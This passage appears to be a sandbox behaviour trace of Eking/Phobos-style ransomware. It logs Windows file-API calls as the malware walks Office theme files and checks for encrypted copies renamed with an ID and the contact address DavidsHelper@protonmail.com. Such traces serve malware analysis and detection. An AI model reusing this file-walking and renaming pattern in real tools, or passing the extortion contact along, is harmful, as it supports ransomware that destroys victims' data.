files\\common files\\microsoft shared\\themes14\\bluecalm\\bluecalm.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0173.564] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0173.565] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=1560) returned 1 [0173.565] CloseHandle (hObject=0x1e4) returned 1 [0173.565] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\preview.gif")) returned 0x20 [0173.565] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\preview.gif")) returned 0x20 [0173.565] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\preview.gif.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0173.565] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0173.566] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0173.566] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=33009) returned 1 [0173.566] CloseHandle (hObject=0x1e4) returned 1 [0173.566] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\thmbnail.png")) returned 0x20 [0173.566] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\thmbnail.png")) returned 0x20 [0173.566] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\thmbnail.png.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0173.567] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0173.567] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\blueprnt.elm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0173.567] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=55942) returned 1 [0173.567] CloseHandle (hObject=0x1e4) returned 1 [0173.568] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\blueprnt.elm")) returned 0x20 [0173.568] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\blueprnt.elm")) returned 0x20 [0173.568] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.ELM.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\blueprnt.elm.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0173.568] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\blueprnt.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0173.568] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\blueprnt.inf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0173.794] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=549) returned 1 [0173.795] CloseHandle (hObject=0x1e4) returned 1 [0173.796] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\blueprnt.inf")) returned 0x20 [0173.799] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\blueprnt.inf")) returned 0x20 [0173.803] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.INF.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\blueprnt.inf.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0173.803] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\blueprnt.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0173.833] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0174.084] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=5120) returned 1 [0174.084] CloseHandle (hObject=0x1e8) returned 1 [0174.084] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\preview.gif")) returned 0x20 [0174.084] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\preview.gif")) returned 0x20 [0174.084] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\preview.gif.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0174.084] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0174.085] SetEvent (hEvent=0x174) returned 1 [0174.085] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0174.086] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=60724) returned 1 [0174.086] CloseHandle (hObject=0x1e8) returned 1 [0174.086] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\thmbnail.png")) returned 0x20 [0174.086] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\thmbnail.png")) returned 0x20 [0174.087] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\thmbnail.png.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0174.087] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0174.087] SetEvent (hEvent=0x174) returned 1 [0174.087] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\ICE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\ice.elm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0174.088] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=68048) returned 1 [0174.088] CloseHandle (hObject=0x1e8) returned 1 [0174.089] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\ICE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\ice.elm")) returned 0x20 [0174.089] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\ICE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\ice.elm")) returned 0x20 [0174.089] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\ICE.ELM.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\ice.elm.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0174.089] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\ICE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\ice.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0174.089] SetEvent (hEvent=0x174) returned 1 [0174.089] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\ICE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\ice.inf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0174.090] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=429) returned 1 [0174.090] CloseHandle (hObject=0x1e8) returned 1 [0174.090] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\ICE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\ice.inf")) returned 0x20 [0174.090] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\ICE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\ice.inf")) returned 0x20 [0174.090] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\ICE.INF.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\ice.inf.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0174.090] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\ICE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\ice.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0174.092] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0174.092] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=2552) returned 1 [0174.092] CloseHandle (hObject=0x1e8) returned 1 [0174.092] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\preview.gif")) returned 0x20 [0174.093] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\preview.gif")) returned 0x20 [0174.093] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\preview.gif.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0174.093] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0174.093] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0174.094] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=18817) returned 1 [0174.094] CloseHandle (hObject=0x1e8) returned 1 [0174.094] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\thmbnail.png")) returned 0x20 [0174.094] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\thmbnail.png")) returned 0x20 [0174.094] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\thmbnail.png.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0174.094] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0174.094] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\INDUST.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\indust.elm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0174.095] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=99561) returned 1 [0174.095] CloseHandle (hObject=0x1e8) returned 1 [0174.095] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\INDUST.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\indust.elm")) returned 0x20 [0174.095] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\INDUST.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\indust.elm")) returned 0x20 [0174.095] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\INDUST.ELM.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\indust.elm.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0174.095] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\INDUST.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\indust.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0174.096] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\INDUST.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\indust.inf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0174.097] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=549) returned 1 [0174.097] CloseHandle (hObject=0x1e8) returned 1 [0174.097] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\INDUST.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\indust.inf")) returned 0x20 [0174.097] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\INDUST.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\indust.inf")) returned 0x20 [0174.097] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\INDUST.INF.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\indust.inf.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0174.098] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\INDUST.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\indust.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0174.098] SetEvent (hEvent=0x174) returned 1 [0174.098] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0174.099] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=5179) returned 1 [0174.099] CloseHandle (hObject=0x1e8) returned 1 [0174.099] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\preview.gif")) returned 0x20 [0174.099] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\preview.gif")) returned 0x20 [0174.099] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\preview.gif.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0174.099] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0174.099] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0174.100] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=33559) returned 1 [0174.100] CloseHandle (hObject=0x1e8) returned 1 [0174.100] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\thmbnail.png")) returned 0x20 [0174.100] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\thmbnail.png")) returned 0x20 [0174.100] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\thmbnail.png.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0174.100] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0174.101] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\IRIS.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\iris.elm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0174.104] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=65885) returned 1 [0174.104] CloseHandle (hObject=0x1e8) returned 1 [0174.109] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\IRIS.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\iris.elm")) returned 0x20 [0174.110] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\IRIS.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\iris.elm")) returned 0x20 [0174.110] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\IRIS.ELM.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\iris.elm.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0174.110] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\IRIS.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\iris.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0174.110] SetEvent (hEvent=0x174) returned 1 [0174.110] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft 